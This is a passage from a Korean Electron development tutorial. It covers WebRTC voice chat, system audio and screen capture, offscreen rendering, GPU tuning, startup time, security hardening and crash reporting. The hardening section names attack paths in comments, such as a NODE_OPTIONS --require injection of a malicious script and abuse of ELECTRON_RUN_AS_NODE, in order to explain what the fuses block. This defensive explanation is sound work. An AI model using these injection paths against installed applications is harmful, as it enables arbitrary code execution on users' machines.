    sampleRate: 48000,
  },
});
// 출력 장치 변경 — HTMLMediaElement 에만 적용됩니다
await audioEl.setSinkId(speakerId);
// ★ AudioContext 자체의 출력 장치 지정은 지원이 제한적이므로,
//   재생은 <audio> 엘리먼트로 하고 setSinkId 를 쓰는 구성이 안전합니다
Electron 에서의 권한 — macOS 는 마이크 접근에 시스템 권한이 필요합니다. Info.plist 에 NSMicrophoneUsageDescription 을 넣지 않으면 권한 요청 없이 그냥 실패합니다. systemPreferences.askForMediaAccess("microphone") 로 명시적으로 요청하고, getMediaAccessStatus 로 상태를 확인해 거부 상태면 설정 화면으로 안내하세요.
목소리가 상대에게 닿기까지 — 지연 예산은 약 150ms 마이크 캡처 10~20ms 잡음 제거 · 리샘플 에코 제거 포함 Opus 인코딩 20ms 프레임 전송 UDP 지터 버퍼 20~60ms 디코딩 → 스피커 재생 한 단계라도 JS 스레드에서 처리하면 튑니다 알려진 세 단계만으로 이미 50~100ms 예산 150ms 250ms 좋을 때 나머지에 100ms 남음 나쁠 때 50ms 뿐 0 50 100 150 200 250 편도 지연(ms) 마이크 캡처 10~20 Opus 프레임 20 지터 버퍼 20~60 남는 몫 — 잡음 제거 · 네트워크 왕복 · 디코딩/재생 지터 버퍼는 맞바꿈입니다 — 키우면 끊김이 줄고(막대가 길어지고), 줄이면 지연이 줄어듭니다 150ms 를 넘기면 서로 말이 겹치기 시작하고, 250ms 부터는 대화가 확실히 어색해집니다 오디오 처리는 AudioWorklet 이나 네이티브 스레드에서 — 메인 JS 는 제어만 맡기세요 패킷 손실 대비는 별도입니다 — 앞뒤 프레임으로 메우거나 재전송 중 하나를 고릅니다 에코 제거는 스피커로 나간 소리를 참조 신호로 받아야 제대로 됩니다
음성 품질을 정하는 것은 코덱이 아니라 지연 예산을 어디에 얼마나 쓰느냐입니다.
NATIVE 09

음성 채팅 — Discord 수준

"그냥 WebRTC 쓰면 되는 것" 이 아닙니다. 품질을 만드는 요소를 하나씩 봅니다.

토폴로지 — 인원수가 구조를 정합니다

① P2P (메시) — 2~4명
   각자가 모두에게 직접 전송
   N명이면 각자 N-1개 업링크 → 5명만 돼도 한계

② SFU (선택적 전달) ★ 음성 채팅의 표준
   각자 서버로 1개만 올림 → 서버가 나눠 줌
   업링크 1개 · 다운링크 N-1개
   서버는 디코딩하지 않음 → CPU 저렴
   구현체: mediasoup · LiveKit · Janus · Pion

③ MCU (혼합)
   서버가 전부 디코딩해 하나로 합쳐 전송
   클라이언트 부담 최소 · 서버 CPU 매우 비쌈
   → 전화 접속·저사양 단말이 섞일 때만

Discord·Slack·Teams 전부 ② SFU 계열입니다
서버 없이 시작하지 마세요. P2P 는 데모에서는 잘 되지만 대칭형 NAT·기업 방화벽에서 연결이 실패합니다. TURN 서버(coturn)는 사실상 필수이고, 어차피 TURN 을 둘 거라면 SFU 로 가는 편이 확장성에서 낫습니다.

연결 · 코덱 설정

const pc = new RTCPeerConnection({
  iceServers: [
    { urls: "stun:stun.l.google.com:19302" },
    { urls: "turn:turn.example.com:3478",
      username: shortLivedUser,          // ★ 단기 자격증명 (서버가 발급)
      credential: shortLivedPass },
  ],
  bundlePolicy: "max-bundle",
  rtcpMuxPolicy: "require",
});

// 오디오 송신 파라미터 — 음성은 대역폭보다 안정성이 중요합니다
const sender = pc.addTrack(track, stream);
const params = sender.getParameters();
params.encodings = [{
  maxBitrate: 64_000,                    // 음성 32~64kbps 면 충분
  networkPriority: "high",
  priority: "high",
}];
await sender.setParameters(params);

// Opus 세부 설정은 SDP 를 직접 손봅니다
function tuneOpus(sdp: string) {
  return sdp.replace(
    /a=fmtp:111 .*/,
    "a=fmtp:111 minptime=10;useinbandfec=1;stereo=0;maxaveragebitrate=64000;usedtx=1"
  );
  // useinbandfec=1 → 패킷 손실 복구 (FEC)
  // usedtx=1       → 무음 구간 전송 중단 (대역폭 절약)
  // minptime=10    → 10ms 패킷 (지연 감소)
}

품질을 만드는 4가지 — 3A 와 지터버퍼

요소없으면 생기는 일해결
AEC (음향 반향 제거) 스피커 소리가 마이크로 되돌아가 상대가 자기 목소리를 다시 듣습니다 echoCancellation: true · 헤드셋 미사용자에게 필수
NS (노이즈 억제) 키보드·팬·에어컨 소리가 그대로 전달 브라우저 기본 NS · 더 강하게는 RNNoise(WASM·네이티브)
AGC (자동 게인) 사람마다 볼륨이 제각각 autoGainControl: true
지터 버퍼 패킷 도착 간격이 흔들려 소리가 튑니다 WebRTC 내장(적응형) — 직접 만들면 여기서 대부분 실패합니다

VAD — 말할 때만 보내기

// 음성 활동 감지 — "말하는 중" 표시와 대역폭 절약에 씁니다
class VAD extends AudioWorkletProcessor {
  constructor() {
    super();
    this.speaking = false;
    this.hold = 0;                       // ★ 히스테리시스 (깜빡임 방지)
  }
  process(inputs) {
    const x = inputs[0][0];
    if (!x) return true;

    let energy = 0;
    for (let i = 0; i < x.length; i++) energy += x[i] * x[i];
    const rms = Math.sqrt(energy / x.length);
    const db = 20 * Math.log10(rms + 1e-9);

    // 켜는 문턱과 끄는 문턱을 다르게 (-45 / -50) — 말하는 중이면 -50 까지는 "아직 말함"
    const loud = this.speaking ? db > -50 : db > -45;
    // process() 는 128프레임마다 = 48kHz 에서 2.67ms → 260블록 ≈ 0.7초 유지
    if (loud) { this.hold = 260; }
    else if (this.hold > 0) this.hold--;

    const now = this.hold > 0;
    if (now !== this.speaking) {
      this.speaking = now;
      this.port.postMessage({ speaking: now });
    }
    return true;
  }
}
registerProcessor("vad", VAD);
문턱값 하나로 판정하면 안 됩니다. 말하는 중간의 짧은 무음마다 표시가 깜빡이게 됩니다. 켜는 문턱 > 끄는 문턱(히스테리시스)과 유지 시간(hold) 을 두는 것이 필수이고, 실제로는 에너지 + 영교차율 + 스펙트럼을 함께 보거나 Silero VAD 같은 학습 모델을 WASM 으로 돌립니다.

품질 측정 — 감이 아니라 수치로

// getStats() — 통화 품질의 근거 데이터
setInterval(async () => {
  const stats = await pc.getStats();
  stats.forEach((r) => {
    if (r.type === "inbound-rtp" && r.kind === "audio") {
      const lossRate = r.packetsLost / (r.packetsReceived + r.packetsLost);
      metrics.record({
        loss: lossRate,                    // ★ 3% 넘으면 체감됩니다
        jitter: r.jitter,                  // 0.03(30ms) 이상이면 불안정
        jitterBufferDelay: r.jitterBufferDelay / r.jitterBufferEmittedCount,
        concealed: r.concealedSamples,     // 손실을 메운 샘플 수
      });
    }
    if (r.type === "candidate-pair" && r.state === "succeeded") {
      metrics.record({ rtt: r.currentRoundTripTime });   // 0.15초 넘으면 대화가 겹칩니다
    }
    if (r.type === "remote-inbound-rtp") {
      metrics.record({ remoteLoss: r.fractionLost });    // 상대가 겪는 손실
    }
  });
}, 2000);
// 나쁜 회선에 적응 — 비트레이트를 낮추고 사용자에게 알립니다
if (lossRate > 0.05) {
  await setBitrate(sender, 24_000);
  ui.showWarning("네트워크가 불안정합니다");
}
Electron 만의 이점 — 브라우저와 달리 내장 Chromium 버전을 우리가 고정합니다. 즉 모든 사용자가 동일한 WebRTC 구현을 쓰므로 "특정 브라우저에서만 나는 오디오 버그"가 없습니다. 대신 Chromium 을 올릴 때 오디오 동작이 바뀔 수 있으므로 업그레이드 시 통화 품질 회귀 테스트를 반드시 포함하세요.
NATIVE 10

시스템 오디오 캡처

"게임 소리까지 같이 방송하기" — 웹 표준만으로는 안 되는 대표적 기능입니다.

OS방법제약
Windows getDisplayMedia({audio:true}) 로 시스템 오디오 캡처 가능 화면 공유와 함께여야 함 · 더 세밀하게는 WASAPI 루프백(네이티브)
macOS OS 차원의 루프백 장치가 없습니다 가상 오디오 드라이버(BlackHole 등) 설치 또는 ScreenCaptureKit(macOS 13+) 네이티브 연동
Linux PulseAudio·PipeWire 의 모니터 소스 배포판·오디오 서버 구성에 따라 편차가 큽니다

Windows — 화면 공유에 소리 얹기

// 메인 — Electron 27+ 는 화면 공유 요청을 이 핸들러로 받습니다
import { session, desktopCapturer } from "electron";

session.defaultSession.setDisplayMediaRequestHandler(
  async (request, callback) => {
    const sources = await desktopCapturer.getSources({
      types: ["screen", "window"],
      thumbnailSize: { width: 320, height: 180 },
    });

    // ★ 반드시 우리 UI 로 사용자에게 고르게 하세요 (무단 캡처 방지)
    const chosen = await showPickerWindow(sources);
    if (!chosen) return callback(null);

    callback({
      video: chosen,
      audio: "loopback",              // ★ Windows 시스템 오디오
      // "loopbackWithMute" — 시스템 스피커는 끄고 캡처만
    });
  },
  { useSystemPicker: true }           // OS 기본 선택 UI 사용 (지원 환경에서)
);
// 렌더러 — 웹 표준 그대로 부릅니다
const stream = await navigator.mediaDevices.getDisplayMedia({
  video: { frameRate: 30 },
  audio: true,
});
// stream 에 화면 트랙 + 시스템 오디오 트랙이 함께 들어옵니다

macOS — 네이티브가 필요한 지점

선택지

① 가상 오디오 드라이버 안내 (BlackHole·Loopback)
   · 구현 비용 0, 사용자 설치 부담 큼
   · 사내 도구라면 현실적인 선택

② ScreenCaptureKit 네이티브 애드온 (macOS 13+)
   · Apple 공식 API — 시스템 오디오 + 화면을 함께
   · 앱 단위 오디오 분리 캡처까지 가능
   · Swift/ObjC++ 로 애드온 작성 필요 (v04)

③ Core Audio 탭(tap) API (macOS 14.4+)
   · 프로세스별 오디오 탭 — 가장 세밀
   · 최신 OS 에서만 동작
// 애드온에서 캡처한 PCM 을 JS 로 넘기는 경로
// ★ 매 버퍼마다 ThreadSafeFunction 을 부르면 오버헤드가 큽니다
// → SharedArrayBuffer 링 버퍼에 쓰고, 인덱스만 Atomics 로 갱신 (v03)

void OnAudioBuffer(const float* pcm, size_t frames) {
  size_t w = write_index.load(std::memory_order_relaxed);
  for (size_t i = 0; i < frames; ++i)
    ring[(w + i) % RING_SIZE] = pcm[i];
  write_index.store(w + frames, std::memory_order_release);
  // JS 쪽 AudioWorklet 이 read_index 를 따라가며 소비합니다
}
macOS 권한을 반드시 확인하세요. 화면 녹화 권한은 systemPreferences.getMediaAccessStatus("screen") 으로 확인합니다. 권한은 앱 서명 단위로 기억되므로, 서명 없이 개발하면 빌드할 때마다 권한이 초기화되어 디버깅이 매우 혼란스러워집니다 — 개발 단계에서도 서명된 빌드로 테스트하세요.
NATIVE 11

화면 공유 · 녹화

캡처 자체보다 인코딩 부하와 권한이 실제 과제입니다.

소스 선택 UI 만들기

// 메인 — 화면·창 목록과 썸네일
ipcMain.handle("capture:sources", async () => {
  const sources = await desktopCapturer.getSources({
    types: ["screen", "window"],
    thumbnailSize: { width: 320, height: 180 },
    fetchWindowIcons: true,
  });
  return sources.map(s => ({
    id: s.id,
    name: s.name,
    thumbnail: s.thumbnail.toDataURL(),     // ★ 큰 이미지는 dataURL 로 넘기면 무겁습니다
    appIcon: s.appIcon?.toDataURL() ?? null,
    display_id: s.display_id,
  }));
});
// 렌더러 — 선택한 소스로 스트림 얻기
const stream = await navigator.mediaDevices.getUserMedia({
  audio: false,
  video: {
    // @ts-expect-error Electron 전용 제약
    mandatory: {
      chromeMediaSource: "desktop",
      chromeMediaSourceId: sourceId,
      maxWidth: 1920, maxHeight: 1080, maxFrameRate: 30,
    },
  },
});

// 공유 중임을 항상 눈에 보이게 — 신뢰의 문제입니다
showSharingIndicator();
stream.getVideoTracks()[0].addEventListener("ended", stopSharing);
사용자 모르게 캡처할 수 있으면 안 됩니다. desktopCapturer 는 메인 프로세스 권한이므로 기술적으로는 조용히 캡처가 가능합니다. 선택 UI · 공유 중 표시 · 종료 버튼을 반드시 제공하고, 보안 감사에서 지적받지 않도록 캡처 시작·종료를 로그로 남기세요.

녹화 · 인코딩

// 간단한 녹화 — MediaRecorder (하드웨어 가속 사용)
const rec = new MediaRecorder(stream, {
  mimeType: "video/webm;codecs=vp9,opus",
  videoBitsPerSecond: 4_000_000,
});

const chunks: Blob[] = [];
rec.ondataavailable = (e) => { if (e.data.size) chunks.push(e.data); };
rec.onstop = async () => {
  const blob = new Blob(chunks, { type: "video/webm" });
  // 렌더러(nodeIntegration:false)에는 Buffer 가 없습니다 — Uint8Array 로 넘기고 메인에서 Buffer 로
  const buf = new Uint8Array(await blob.arrayBuffer());
  await window.api.saveRecording(buf);      // ★ 큰 파일은 스트리밍 저장이 낫습니다
};

rec.start(1000);                             // 1초마다 청크
// 긴 녹화는 메모리에 쌓지 말고 바로 디스크로 흘려보냅니다
rec.ondataavailable = async (e) => {
  const buf = new Uint8Array(await e.data.arrayBuffer());
  window.api.appendRecording(buf);           // 메인에서 createWriteStream 에 append
};

// 메인
const out = fs.createWriteStream(outPath);
ipcMain.on("rec:append", (_e, chunk: Uint8Array) => out.write(Buffer.from(chunk)));

부하를 줄이는 실전 선택

  • 프레임률을 낮추세요 — 문서·코드 공유는 5~15fps 로 충분합니다. 60fps 는 CPU 를 몇 배로 씁니다
  • 해상도 상한을 두세요 — 4K 화면을 그대로 인코딩하면 어떤 CPU 도 버겁습니다
  • 하드웨어 인코더가 실제로 쓰이는지 확인 — chrome://gpu 의 Video Encode 항목(v13)
  • 장시간 고품질 녹화는 ffmpeg 를 child_process 로 돌리는 편이 안정적입니다
화면 공유의 체감 품질은 "선명도 vs 부드러움" 선택입니다. WebRTC 송신 시 contentHint 를 지정하세요 — track.contentHint = "detail"(텍스트·코드, 선명도 우선) · "motion"(영상·게임, 프레임률 우선). 한 줄로 체감이 크게 달라집니다.
화면 공유 — 한 프레임에 쓸 수 있는 시간은 33ms 뿐입니다 화면 캡처 desktopCapturer OS 별 API 크기 · 형식 변환 GPU 에서 처리 여기서 CPU 로 내리면 끝 하드웨어 인코딩 H.264 · AV1 GPU 인코더 사용 전송 WebRTC 대역폭 적응 픽셀을 JS 로 가져오면 4K 한 장이 약 33MB — 복사만으로 한 프레임 예산을 다 씁니다 텍스처를 그대로 넘기면 GPU 안에서 캡처 → 인코딩까지 CPU 는 제어만 합니다 가장 큰 절약은 압축이 아니라 안 바뀐 화면을 안 보내는 것입니다 문서 공유는 초당 5프레임이면 충분합니다 — 용도에 따라 프레임 수와 해상도를 나눠 두세요
화면 공유가 무거운 진짜 이유는 압축이 아니라 픽셀이 지나가는 경로에 있습니다.
NATIVE 12

OSR — 오프스크린 렌더링

웹 화면을 창이 아니라 픽셀로 받습니다. 게임 오버레이·가상 배경·서버 렌더링의 기반입니다.

무엇에 쓰나

OSR 이 필요한 상황

① 게임 오버레이
   게임의 DirectX/OpenGL 화면 위에 웹 UI 를 합성
   (Discord 인게임 오버레이가 이 방식)

② 다른 렌더러에 웹을 얹기
   Unity·Unreal·네이티브 앱 안에 웹 UI 를 텍스처로

③ 서버 사이드 렌더링·썸네일 생성
   화면 없이 웹을 그려 이미지로 저장

④ 커스텀 합성
   웹 화면 + 비디오 + 3D 를 한 캔버스에서 합성

※ 단순히 "안 보이는 창"이 필요한 것이라면
  win.hide() 로 충분합니다 — OSR 은 비용이 큽니다
// 기본형 — CPU 로 비트맵 받기
const win = new BrowserWindow({
  width: 1280, height: 720,
  show: false,
  webPreferences: {
    offscreen: true,                 // ★ 오프스크린 모드
    nodeIntegration: false,
    contextIsolation: true,
  },
});

win.webContents.setFrameRate(30);    // ★ 반드시 제한하세요 (기본은 60)

win.webContents.on("paint", (event, dirty, image) => {
  // image 는 NativeImage — BGRA 비트맵
  const buf = image.getBitmap();     // Buffer (width*height*4)
  pushToEncoder(buf, image.getSize());
});

win.loadURL("https://example.com/overlay");
기본 OSR 은 느립니다. GPU 가 그린 결과를 시스템 메모리로 복사(readback) 해서 넘겨 주기 때문입니다. 1080p·60fps 면 초당 약 500MB 를 복사하는 셈이라 CPU 가 그대로 녹습니다. 프레임률을 낮추거나, 아래의 공유 텍스처를 쓰세요.

공유 텍스처 — GPU 에서 GPU 로

// Electron 30+ — GPU 텍스처 핸들을 그대로 받습니다 (복사 없음)
const win = new BrowserWindow({
  webPreferences: {
    offscreen: { useSharedTexture: true },   // ★ 객체 형태로 지정
  },
});

win.webContents.on("paint", (event, dirty, image) => {
  const tex = event.texture;
  if (!tex) return;                          // 폴백: image 사용

  // tex.textureInfo 에 OS별 핸들이 들어 있습니다
  //   Windows : sharedTextureHandle  (D3D11 공유 핸들)
  //   macOS   : ioSurface            (IOSurfaceRef)
  //   Linux   : planes (dma-buf fd)
  nativeCompositor.submit(tex.textureInfo);  // ★ 네이티브 애드온으로 전달 (v04)

  tex.release();                             // ★ 반드시 해제 — 안 하면 GPU 메모리 고갈
});
성능 차이 (1080p 기준 · 대략적인 감각)

  일반 OSR        GPU → 시스템 메모리 복사 → JS Buffer
                  30fps 에서도 CPU 한 코어를 상당히 소모

  공유 텍스처     GPU 메모리에 그대로 둔 채 핸들만 전달
                  복사 0 · 60fps 도 현실적

  → 게임 오버레이처럼 매 프레임 합성해야 하는 용도는
    공유 텍스처가 사실상 필수입니다
공유 텍스처는 네이티브 코드가 있어야 의미가 있습니다. 받은 핸들을 D3D11·Metal·OpenGL 텍스처로 여는 것은 JS 에서 할 수 없는 일이라 반드시 애드온(v04·v05)이 필요합니다. 또 release() 를 빠뜨리면 수 초 만에 GPU 메모리가 고갈되어 전체 시스템이 느려집니다 — try/finally 로 감싸세요.

입력 주입 — 오버레이는 클릭도 받아야 합니다

// OSR 창은 실제 창이 아니므로 마우스·키보드를 직접 넣어 줘야 합니다
win.webContents.sendInputEvent({
  type: "mouseMove", x: 320, y: 180,
});
win.webContents.sendInputEvent({
  type: "mouseDown", x: 320, y: 180, button: "left", clickCount: 1,
});
win.webContents.sendInputEvent({
  type: "mouseUp", x: 320, y: 180, button: "left", clickCount: 1,
});
win.webContents.sendInputEvent({
  type: "keyDown", keyCode: "Enter",
});

// ★ 게임 오버레이라면 "오버레이가 입력을 먹을 때"와
//   "게임으로 넘길 때"를 구분해야 합니다 —
//   보통 UI 영역의 히트 테스트 결과로 결정합니다
NATIVE 13

GPU · 그래픽

"어떤 PC 에서만 화면이 깨진다"는 문의의 대부분이 GPU 문제입니다.

먼저 확인 — 무엇이 가속되고 있나

// 앱 안에서 GPU 상태 확인
app.whenReady().then(async () => {
  const info = await app.getGPUInfo("complete");
  log.info("GPU", info);

  const status = app.getGPUFeatureStatus();
  log.info(status);
  // { gpu_compositing: "enabled",
  //   video_decode: "enabled",
  //   webgl: "enabled",
  //   vulkan: "disabled_off", ... }
});

// GPU 프로세스가 죽었을 때 — 흔합니다(드라이버 버그)
app.on("child-process-gone", (_e, details) => {
  if (details.type === "GPU") {
    log.error("GPU 프로세스 종료", details.reason);
    metrics.increment("gpu_crash");
    // 반복되면 소프트웨어 렌더링으로 폴백 (아래)
  }
});
디버깅 도구
  chrome://gpu     — DevTools 주소창에 입력하면 그대로 열립니다
                     어떤 기능이 하드웨어 가속인지 전부 나옵니다
  chrome://media-internals  — 코덱·디코더 선택 확인
  chrome://webrtc-internals — 통화 품질 실시간 그래프 (v09)

스위치 — 신중하게 쓰기

// ★ app.whenReady() 이전에 설정해야 적용됩니다
import { app } from "electron";

// 문제가 있는 환경에서만 폴백 (설정으로 켜고 끄게 하세요)
if (userPrefs.disableGpu) {
  app.disableHardwareAcceleration();
}

// 하드웨어 비디오 디코딩 명시적 활성화
app.commandLine.appendSwitch(
  "enable-features",
  "PlatformHEVCDecoderSupport,VaapiVideoDecodeLinuxGL"
);

// 배터리 절약보다 성능이 중요할 때 (백그라운드 타이머 감속 해제)
app.commandLine.appendSwitch("disable-background-timer-throttling");

// ⚠️ 아래는 보안·안정성을 해칩니다 — 근거 없이 복사하지 마세요
// app.commandLine.appendSwitch("no-sandbox");          ❌
// app.commandLine.appendSwitch("ignore-gpu-blocklist"); ⚠️ 크래시 유발 가능
인터넷의 "성능 향상 스위치 모음"을 그대로 붙이지 마세요. Chromium 스위치는 버전마다 사라지거나 의미가 바뀝니다. 지금 효과가 있어도 다음 Electron 에서 무시되거나 크래시를 유발할 수 있습니다. 실측으로 효과를 확인한 것만 남기고, 업그레이드마다 재검증하세요.

렌더링이 끊길 때 점검 순서

  • ① 레이아웃 스래싱 — DOM 읽기·쓰기를 번갈아 하고 있지 않은지 (🧬 전문가 탭)
  • ② 합성 레이어 폭발 — will-change·transform 남용으로 GPU 메모리 초과
  • ③ 큰 이미지 — 4000px 이미지를 CSS 로 축소해 표시하면 매번 리샘플링됩니다
  • ④ 백그라운드 창 — setBackgroundThrottling 이 의도대로인지
  • ⑤ GPU 가속 비활성화 — 위 getGPUFeatureStatus 로 확인
WebGPU 는 Electron 에서 이미 쓸 수 있습니다. Chromium 기반이라 브라우저 지원 여부를 신경 쓸 필요가 없다는 것이 데스크탑 앱의 큰 장점입니다 — 데이터 시각화·이미지 처리를 GPU 컴퓨트 셰이더로 돌리면 네이티브 애드온 없이도 큰 성능을 얻을 수 있습니다.
NATIVE 14

시작 시간 · 극한 성능

VS Code 가 1초 안에 뜨는 것은 우연이 아닙니다. 측정하고 깎는 방법입니다.

먼저 분해해서 재기

// 구간별 시간을 실제로 찍어 봅니다 — 감으로 최적화하지 마세요
const t0 = Date.now();
const mark = (label: string) => log.info(`[boot] ${label} +${Date.now() - t0}ms`);

app.whenReady().then(() => {
  mark("app-ready");            // Electron 런타임 초기화까지
  createWindow();
  mark("window-created");
});

mainWindow.webContents.once("did-finish-load", () => mark("renderer-loaded"));
mainWindow.once("ready-to-show", () => mark("ready-to-show"));

// 렌더러 쪽 — 실제 사용자가 느끼는 시점
// performance.mark("app-interactive") 후
// performance.measure 로 구간을 남기고 DevTools Performance 에서 확인
전형적인 시간 분포와 대응

  Electron 런타임 초기화   200~400ms  ← 우리가 못 줄임
  메인 스크립트 평가        50~500ms  ★ require 를 줄이면 크게 감소
  창 생성 · 첫 페인트      100~300ms  ★ show:false + ready-to-show
  렌더러 번들 파싱·실행    100~1000ms ★ 코드 분할·지연 로딩
  초기 데이터 로드          0~수초    ★ 창을 띄운 뒤로 미루기

가장 효과가 큰 세 가지

// ① 지연 require — 메인 시작 스크립트에서 무거운 것을 걷어냅니다
// ❌ 최상단에서 전부 불러오기
import Database from "better-sqlite3";
import { autoUpdater } from "electron-updater";

// ✅ 실제로 필요할 때 불러오기
let db: Database.Database | null = null;
function getDb() {
  if (!db) {
    const Database = require("better-sqlite3");   // 이 시점에 로드
    db = new Database(dbPath);
  }
  return db;
}

// ② 창을 먼저 띄우고 나머지는 뒤로
app.whenReady().then(() => {
  createWindow();                                  // 최우선
  setTimeout(() => {
    require("electron-updater").autoUpdater.checkForUpdates();
    warmupDatabase();
  }, 3000);                                        // 사용자가 화면을 보는 동안
});
// ③ V8 코드 캐시 — 파싱·컴파일 결과를 저장해 재사용
// 렌더러 번들이 클수록 효과가 큽니다 (수백 ms 절감 사례가 흔합니다)
import { app } from "electron";
app.setPath("sessionData", path.join(app.getPath("userData"), "session"));
// Chromium 이 이 경로에 코드 캐시를 자동 저장합니다

// 더 나아가려면 — 빌드 시점에 스냅샷을 굽습니다
//   npx electron-mksnapshot  (@electron/mksnapshot)
//   자주 쓰는 모듈을 스냅샷에 넣어 두면 시작 시 파싱이 사라집니다
//   VS Code 가 실제로 쓰는 기법이지만 빌드 파이프라인이 복잡해집니다
측정 없이 스냅샷부터 손대지 마세요. 대부분의 앱은 지연 require + 번들 분할만으로 절반 이하로 줄어듭니다. 스냅샷·커스텀 빌드는 그 뒤에도 부족할 때 꺼내는 카드입니다.
앱이 켜지기까지 — 어디에 시간을 쓰는지 먼저 재세요 1. 프로세스 시작 120ms · 고정 비용 2. 일렉트론 · Chromium 초기화 180ms · 고정 비용 3. 창 생성 60ms · 고정 비용 4. 메인 스크립트 로딩 200ms · 줄일 수 있음 5. 렌더러 번들 파싱 · 실행 340ms · 가장 큰 몫 6. 첫 화면 그리기 250ms · 체감의 전부 0 400 800 1,150 ms 합계 1,150ms — 이 중 790ms 가 내가 줄일 수 있는 몫입니다 줄이는 순서 4 — 무거운 모듈은 첫 화면 뒤로 미룹니다 · 5 — 번들을 쪼개 첫 화면에 필요한 것만 먼저 6 — 데이터를 기다리지 말고 뼈대 화면부터 그립니다 (스켈레톤) 창은 show: false 로 만들고 ready-to-show 에서 보여 주세요 — 흰 화면이 사라집니다
체감 시작 시간은 총합이 아니라 무언가 보이기까지의 시간으로 정해집니다.
NATIVE 15

보안 강화 — Fuses · 무결성

기본 설정(🖥️ Electron e04) 위에, 배포된 앱이 변조되는 것을 막는 층입니다.

Fuses — 런타임 기능을 아예 잠그기

npm i -D @electron/fuses — 빌드된 바이너리의 플래그 비트를 직접 꺼 버립니다
import { flipFuses, FuseVersion, FuseV1Options } from "@electron/fuses";

await flipFuses(appBinaryPath, {
  version: FuseVersion.V1,

  // ★ 공격자가 우리 앱으로 임의 코드를 실행하는 통로를 막습니다
  [FuseV1Options.RunAsNode]: false,
  //   ELECTRON_RUN_AS_NODE=1 로 실행해 Node 로 쓰는 것을 차단

  [FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
  //   NODE_OPTIONS=--require=악성.js 주입 차단

  [FuseV1Options.EnableNodeCliInspectArguments]: false,
  //   --inspect 로 디버거를 붙여 메모리를 들여다보는 것 차단

  [FuseV1Options.EnableCookieEncryption]: true,
  //   쿠키를 OS 키로 암호화

  [FuseV1Options.OnlyLoadAppFromAsar]: true,
  //   ★ asar 밖의 파일을 앱 코드로 로드하지 않음

  [FuseV1Options.EnableEmbeddedAsarIntegrityValidation]: true,
  //   ★ asar 무결성 검증 (변조 시 실행 거부)
});
이 조합은 실제 공격을 막습니다. RunAsNode 가 켜져 있으면 공격자가 이미 설치된 서명된 우리 앱을 임의 스크립트 실행기로 악용할 수 있습니다 — 백신·EDR 이 서명된 앱을 신뢰하기 때문에 탐지도 어렵습니다. Node 로 실행할 필요가 없다면 반드시 끄세요.

ASAR 무결성 · 그 밖의 층

# electron-builder — 무결성 검증 활성화
# 실행 파일에 asar 해시를 심고, 시작 시 대조합니다
# (macOS · Windows 지원 · 코드 서명과 함께여야 의미가 있습니다)
electronFuses:
  runAsNode: false
  enableNodeOptionsEnvironmentVariable: false
  enableNodeCliInspectArguments: false
  onlyLoadAppFromAsar: true
  enableEmbeddedAsarIntegrityValidation: true
  enableCookieEncryption: true
// CSP — 렌더러에서 실행 가능한 것을 좁힙니다
session.defaultSession.webRequest.onHeadersReceived((details, cb) => {
  cb({
    responseHeaders: {
      ...details.responseHeaders,
      "Content-Security-Policy": [
        "default-src 'self'; " +
        "script-src 'self'; " +               // ★ unsafe-inline 금지
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:; " +
        "connect-src 'self' https://api.example.com wss://rtc.example.com",
      ],
    },
  });
});

// 예상 밖 이동·창 열기 차단
app.on("web-contents-created", (_e, contents) => {
  contents.on("will-navigate", (e, url) => {
    if (new URL(url).origin !== ALLOWED_ORIGIN) e.preventDefault();
  });
  contents.setWindowOpenHandler(({ url }) => {
    if (isSafeExternal(url)) shell.openExternal(url);
    return { action: "deny" };
  });
  contents.session.setPermissionRequestHandler((_wc, permission, cb) => {
    // ★ 필요한 권한만 허용 (기본 거부)
    cb(["media", "clipboard-sanitized-write"].includes(permission));
  });
});
"소스 보호"에 대한 현실 — asar·난독화·바이트코드(bytenode) 모두 시간을 버는 수단일 뿐 결정적인 보호가 아닙니다. 정말 지켜야 할 알고리즘·키는 서버에 두고 API 로 호출하세요. 클라이언트에 넣은 비밀은 언젠가 반드시 노출된다고 가정하고 설계하는 것이 맞습니다.
사용자 PC 에서 도는 프로그램은 위협 모델이 다릅니다 Fuses — 빌드 때 개발 기능을 영구히 끕니다 디버깅 인자·환경 변수로 코드를 주입하는 경로 차단 ASAR 무결성 검사 앱 파일을 바꿔치기한 뒤 실행하는 것을 막습니다 로드 가능한 주소 제한 · CSP 외부 스크립트가 앱 안에서 실행되는 경로를 좁힙니다 렌더러 권한 최소화 (e04) 화면 코드가 파일·프로세스에 직접 닿지 못하게 그리고 가장 중요한 것 — Electron 버전 올리기 Chromium 취약점이 그대로 우리 앱의 취약점이 됩니다. 오래된 버전에 머무르면 공개된 공격 코드가 그대로 통합니다 비밀 값을 앱에 넣지 마세요 — 설치 파일은 누구나 열어 볼 수 있습니다. 서버가 대신 부르게 하세요
사용자에게 배포된 코드는 이미 공격자의 손에도 있다고 전제하세요.
NATIVE 16

크래시 · 관측 · 대규모 배포

사용자 수가 늘면 재현되지 않는 버그가 일상이 됩니다. 데이터로 잡아야 합니다.

네이티브 크래시까지 수집

// JS 예외는 Sentry 로, C++ 크래시는 minidump 로 — 둘 다 필요합니다
import { crashReporter, app } from "electron";

crashReporter.start({
  productName: "MyApp",
  companyName: "MyCompany",
  submitURL: "https://crash.example.com/submit",
  uploadToServer: true,
  compress: true,
  extra: {                                  // ★ 원인 좁히기용 컨텍스트
    version: app.getVersion(),
    channel: releaseChannel,
  },
});

// 렌더러가 죽었을 때
app.on("render-process-gone", (_e, wc, details) => {
  log.error("렌더러 종료", details.reason, details.exitCode);
  // reason: crashed · oom · killed · launch-failed ...
  if (details.reason === "oom") notifyUser("메모리가 부족해 창을 다시 엽니다");
  recreateWindow(wc);
});

// 자식 프로세스(GPU·유틸리티)가 죽었을 때
app.on("child-process-gone", (_e, d) => {
  metrics.increment(`child_gone.${d.type}.${d.reason}`);
});
네이티브 애드온을 쓰기 시작하면 크래시의 성격이 바뀝니다. JS 예외는 스택이 나오지만, C++ 세그폴트는 프로세스가 즉사합니다. crashReporter 의 minidump 와 빌드 시 생성한 심볼 파일을 함께 보관해야 나중에 스택을 복원할 수 있습니다 — 심볼을 버리면 덤프는 쓸모없는 바이너리가 됩니다.

채널 · 점진 배포

# 채널을 나눠 위험을 줄입니다
publish:
  provider: generic
  url: https://updates.example.com/${channel}/
  channel: stable        # stable · beta · alpha

# 사내 정책 배포(Windows) — 자동 업데이트를 끄고 IT 가 관리
# MSI 패키징 + 그룹 정책으로 배포하는 조직이 많습니다
